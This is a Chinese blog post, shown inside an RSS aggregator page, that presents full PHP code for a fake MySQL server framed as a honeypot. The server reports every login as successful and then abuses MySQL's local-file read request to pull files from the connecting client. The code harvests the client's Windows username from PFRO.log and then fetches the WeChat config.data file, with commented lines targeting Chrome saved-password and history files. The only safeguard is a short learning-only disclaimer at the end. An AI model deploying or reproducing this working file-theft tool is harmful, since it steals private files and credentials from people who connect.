惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Recent Commits to openclaw:main
Recent Commits to openclaw:main
L
LangChain Blog
月光博客
月光博客
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
博客园 - 【当耐特】
宝玉的分享
宝玉的分享
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
Last Week in AI
Last Week in AI
人人都是产品经理
人人都是产品经理
博客园_首页
T
Tailwind CSS Blog
P
Proofpoint News Feed
雷峰网
雷峰网
D
Darknet – Hacking Tools, Hacker News & Cyber Security
IT之家
IT之家
V
Vulnerabilities – Threatpost
阮一峰的网络日志
阮一峰的网络日志
C
CERT Recently Published Vulnerability Notes
Attack and Defense Labs
Attack and Defense Labs
S
Schneier on Security
Security Archives - TechRepublic
Security Archives - TechRepublic
L
Lohrmann on Cybersecurity
V
Visual Studio Blog
云风的 BLOG
云风的 BLOG
WordPress大学
WordPress大学
The Register - Security
The Register - Security
N
Netflix TechBlog - Medium
Hugging Face - Blog
Hugging Face - Blog
Project Zero
Project Zero
博客园 - 叶小钗
F
Full Disclosure
大猫的无限游戏
大猫的无限游戏
Latest news
Latest news
S
SegmentFault 最新的问题
C
Cyber Attacks, Cyber Crime and Cyber Security
Google Online Security Blog
Google Online Security Blog
Recorded Future
Recorded Future
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Hacker News - Newest:
Hacker News - Newest: "LLM"
腾讯CDC
L
LINUX DO - 最新话题
Google DeepMind News
Google DeepMind News
P
Privacy International News Feed
I
InfoQ
F
Fortinet All Blogs
Vercel News
Vercel News
H
Hackread – Cybersecurity News, Data Breaches, AI and More
T
Threatpost
T
Tenable Blog
B
Blog RSS Feed

文章列表 - 她和她的猫

使用小鹤双拼一个月 折腾 Hugo PaperMod 主题 去长鹿旅游休博园 1Password 自动化登录堡垒机 深入 Hyperf:Inject 注解是如何工作的? 译|理解容器镜像层 使用 Rust 实现高性能预写日志(Write Ahead Log) 译|使用 Linux 命名空间隔离系统 深入 Hyperf:HTTP 服务是如何处理请求的? Linux 文件权限学习笔记 译|了解 Bitcask:基于日志结构的 KV 存储引擎 还原 SM2 压缩公钥的几种方法 深入 Hyperf:HTTP 服务启动时发生了什么? 一次 Hyperf 注解失效问题分析 将博客迁移到又拍云 译|PHP 7 新的 Hashtable 实现 排查 ES 查询问题:深入了解 json_encode() 函数 浅析 Redlock 分布式锁实现原理 Yar 源码阅读笔记:RPC 服务端 Yar 源码阅读笔记:客户端的并行调用 Yar 源码阅读笔记:客户端的同步调用 Yar 源码阅读笔记:数据传输模块 Yar 源码阅读笔记:消息编码模块 Yar 源码阅读笔记:RPC 通信协议 Yar 源码阅读笔记:开篇 PHP 8 新特性介绍 基于 OpenSSL 实现国密 SM4 加解密 PHP 源码阅读笔记:编译与调试 PHP 什么是惊群问题 大端模式和小端模式 基于 GitHub Actions 定时推送网址到百度站长平台 聊聊五种 I/O 模型 Workerman 源码分析:文件上传 浅入浅出 HTTP 协议 使用 Workerman 接入 Bilibili 直播弹幕协议 使用 GitHub Actions 自动部署 Hexo 什么是二进制安全 【转载】PHP 程序员进阶之路 优化 Workerman 检查主进程是否存活的逻辑 基于 Redis 实现分布式锁 《PHP 实现 Base64 编码/解码》笔记 PHP 多进程下载必应壁纸 基于 Redis 实现延迟队列 【转载】PHP 实现 Base64 编码/解码 使用 MySQL FIELD() 函数自定义排序规则 Laravel 的 Facades 实现原理 C语言单链表实现约瑟夫环 数据结构学习笔记:顺序栈和链栈(C语言) 使用 QueryList + Redis 下载壁纸 在 Laravel 登录/注册中使用 mews/captcha 扩展包 使用 mews/captcha 扩展包为 Laravel 应用添加图片验证码 给 YOURLS 短网址系统编写插件《批量生成短网址》 给 YOURLS 短网址系统编写插件《Hello World!》 PHP 7.1 使用 json_encode 函数造成浮点类型数据出现精度问题 Laravel 授权策略(Policy)的基本使用 Ubuntu 系统下 WiFi 频繁掉线解决方法 Laravel 应用部署到 Nginx 服务器上的第一个坑 Ubuntu 16.04 LST 安装 Redis 和 Composer PHP 采集逐浪小说章节列表 Nginx 环境 SSL 强制 HTTP 301 跳转到 HTTPS 【工作&生活】第一周 ServiceStack.Redis 与多线程 Count the number of Duplicates C# Base64 加密及解密 ASP.NET MVC 使用动态类型传递数据 Django 使用 order_by() 对数据进行排序操作 ASP.NET + jQuery + AJAX 实现用户登录 ASP.NET 从客户端中检测到有潜在危险的 Request.Form 值 ASP.NET 使用 FormData 实现 AJAX 上传图片 Python 使用 BeautifulSoup 抓取网页 贪心算法之字符串的完美度 一言不和就造轮子之 CookieHelper ASP.NET 上传图片 DBHelper 类 C# 捕获屏幕源码 用 JavaScript 做一些有趣的事情 第一篇文章 好久不见。 如何防止非法调用 PHP 文件 清明小记。 PHP 生成随机字符串 Z-Blog PHP 程序做 301 跳转 PHP 处理数组常用的几个函数 Sublime Text 3 快捷键总结 PHP 使用 file_get_contents() 函数实现采集网页 使用 C# 编写学生信息管理系统 终于到了。 zblog报错: magic_quotes_gpc 和 safe_mode 世事无常。 如何使用 PHP 上传文件 安卓手机编写和运行 PHP 程序的软件 使用 AJAX 刷新、验证 PHP 图片验证码 PHP 生成图片验证码 PHP 之 session 的使用方法 PHP 之 cookie 的使用方法 PHP 实现分页原理详解 Thinkphp 框架中系统常量在 Js 文件中不解析的解决方法
PHP 网络编程:构建 MySQL 蜜罐获取攻击者微信 ID
她和她的猫 · 2021-04-07 · via 文章列表 - 她和她的猫

前言

无意间发现 MySQL蜜罐获取攻击者微信ID 这篇文章,读完后觉得挺有意思的,于是想用 PHP 实现一下。

通过文章了解到,可以启动一个 TCP 服务伪装成 MySQL 服务,当有人通过客户端连接进来时,不管用什么账号密码都提示登录成功,然后利用 MySQL 通信机制可以读取客户端所在的电脑上的文件。

建立 TCP 服务

先定义一些会用到的常量。

define('SERVER_ADDRESS', '0.0.0.0'); // 服务地址
define('SERVER_PORT', 8080);         // 端口号
define('BUF_MAX_SIZE', 1024 * 100);  // 每次最多读取多少字节的数据

// MySQL 信息报文(版本号、salt等信息)
define('MYSQL_INFO_MESSAGE', "\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00");
// MySQL 认证成功报文
define('MYSQL_AUTH_SUCCESS', "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00");

创建一个 TCP Socket 用于接收并处理客户端的连接,socket_accept 函数返回的是一个已经通过 TCP 三次握手后的连接。

// 创建 TCP Socket
$server = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
// 将 Socket 绑定到指定的主机地址和端口上
socket_bind($server, SERVER_ADDRESS, SERVER_PORT);
// 开始监听 Socket
socket_listen($server);

// 这里 while true 是为了处理完一个连接之后,又可以继续处理下一个连接
while (true) {
    // 由于我们刚刚创建的 $server 是阻塞 IO,
    // 所以代码运行到这的时候会阻塞住,会将 CPU 让出去,
    // 直到有客户端来连接
    $conn = socket_accept($server);

    // 后面的代码都是从这开始的
}

到这里一个简单的 TCP 服务就完成了。

由于 socket_accept 后面的代码是本文的重点,所以将这部分单独拿出来。

接下来要做的事情就是伪装 MySQL 服务与客户端进行交互。

在此之前,我们先了解一下 MySQL 服务端与客户端通信的过程。

  • 客户端对服务端发起请求,进行 TCP 三次握手后建立连接
  • 服务端给客户端发 MySQL 版本等信息
  • 客户端收到后,给服务端发送账号密码进行认证
  • 服务端收到账号密码进行验证,然后给客户端发送认证结果
  • 客户端收到认证成功的消息后,给服务端发送设置编码的报文

用代码实现上面服务端做的事情。

// 发送 MySQL 服务信息报文
socket_write($conn, MYSQL_INFO_MESSAGE);
// 读取账号密码
socket_read($conn, BUF_MAX_SIZE);
// 发送认证成功报文
socket_write($conn, MYSQL_AUTH_SUCCESS);
// 读取设置编码的报文
socket_read($conn, BUF_MAX_SIZE);

封装需要用到函数

服务端需要根据客户端的 IP 为客户端建立一个目录,用于保存从客户端读取到的文件。

function get_log_path($conn)
{
    /* 从连接中获取 ip 地址 */
    socket_getsockname($conn, $remote_ip);

    $log_path = __DIR__.'/log/'.$remote_ip;

    if (!is_dir($log_path)) {
        mkdir($log_path, 0777, true);
    }

    return $log_path;
}

封装一个函数用来发送读取文件的报文并获取客户端返回的文件内容。

报文格式:文件名的长度转换为字符 + \x00\x00\x01\xFB + 文件名

function read_file($conn, $filename)
{
    // 构造读取文件的报文
    $packet = chr(strlen($filename) + 1)."\x00\x00\x01\xFB".$filename;
    // 发送读取文件的报文
    $result = socket_write($conn, $packet);
    if ($result === false) {
        return false;
    }

    // 读取客户端发过来的文件内容
    return socket_read($conn, BUF_MAX_SIZE);
}

读取 PFRO.log 文件

在收到设置编码的报文之后,先读取客户端电脑上的 C:/Windows/PFRO.log 文件,然后将读取到的文件内容保存到指定的目录中。

为什么要读取这个文件?

因为在获取用户微信 ID 等信息之前,需要知道客户端电脑使用的用户名,而在大多数 Windows 电脑上都有 C:/Windows/PFRO.log` 这个文件。

所以大概率能从这个文件中找到用户名(注意并不是 100% 能找到)。

// 不存在 PFRO.log 说明是第一次连接,需要先获取该文件
if (!file_exists("{$log_path}/PFRO.log")) {
    // 读取文件内容
    $content = read_file($conn, 'C:/Windows/PFRO.log');
    if ($content === false) {
        printf("read PFRO.log failed, %s\n", socket_last_error());
        socket_close($conn);
        continue;
    }

    printf("read PFRO.log success...\n");

    // 断开连接
    socket_close($conn);
    // 保存文件内容
    file_put_contents("{$log_path}/PFRO.log", $content);
    continue;
}

为什么读取到 PFRO.log 文件之后就断开连接?

运行到这一段代码的时候, 客户端与服务端已经认证完成了,就算服务端不断开连接,客户端也会断开。

客户端第一次连接时保存了 PFRO.log 文件,第二次连接时就可以通过这个文件得到电脑用户名,从而可以去获取保存微信 ID 的文件了。

读取指定的文件内容

// 读取文件内容并替换特殊字符
$content = file_get_contents("{$log_path}/PFRO.log");
$content = str_replace(["\n", "\r", "\t", "\00", ' ',], '', $content);
$content = str_replace('\\', '/', $content);

// 解析出用户名
preg_match("#Users/(.*)/#", $content, $data);
$username = explode('/', $data[1])[0];

// 要获取的文件名
$filename = "C:/Users/{$username}/Documents/WeChat Files/All Users/config/config.data";
// $filename = "C:/Users/{$username}/AppData/Local/Google/Chrome/User Data/Default/Login Data";
// $filename = "C:/Users/{$username}/AppData/Local/Google/Chrome/User Data/Default/History";
// 保存到本地的文件名
$save_filename = str_replace(['/', ':'], ['_', ''], $filename);

// 读取该文件
$content = read_file($conn, $filename);
if ($content === false) {
    printf("read %s failed, %s\n", $filename, socket_last_error());
    socket_close($conn);
    continue;
}

解决读取大文件的问题

接下来解决原文中提到的如何读取大文件的问题。

当读取的文件比较大的时候,客户端会分段发送文件内容,所以服务端也要多次读取才能得到完整的文件。

为了避免客户端没有发送数据或数据已经读取完了导致 socket_read 一直处于阻塞状态,需要先将连接设置为非阻塞的。

当没有读取到数据时 socket_read 会立即返回并停止循环。

// 设置为非阻塞
socket_set_nonblock($conn);

do {
    printf("read %d bytes from %s...\n", strlen($content), $filename);
    // 以追加的方式写入文件内容
    file_put_contents("{$log_path}/{$save_filename}", $content, FILE_APPEND);
    // 继续读取文件内容,当文件内容为空时说明读完了
    $content = socket_read($conn, BUF_MAX_SIZE);
} while (!empty($content));

// 关闭连接
socket_close($conn);

总结

通过本文可以了解到:

  • MySQL 身份认证的过程
  • 使用 PHP 建立 TCP 服务并与客户端交互
  • 使用 Socket 读取大文件

⚠️ 注意!!!本文及源码仅用于学习研究!请勿用于商业或非法目的,否则后果自负。

参考链接: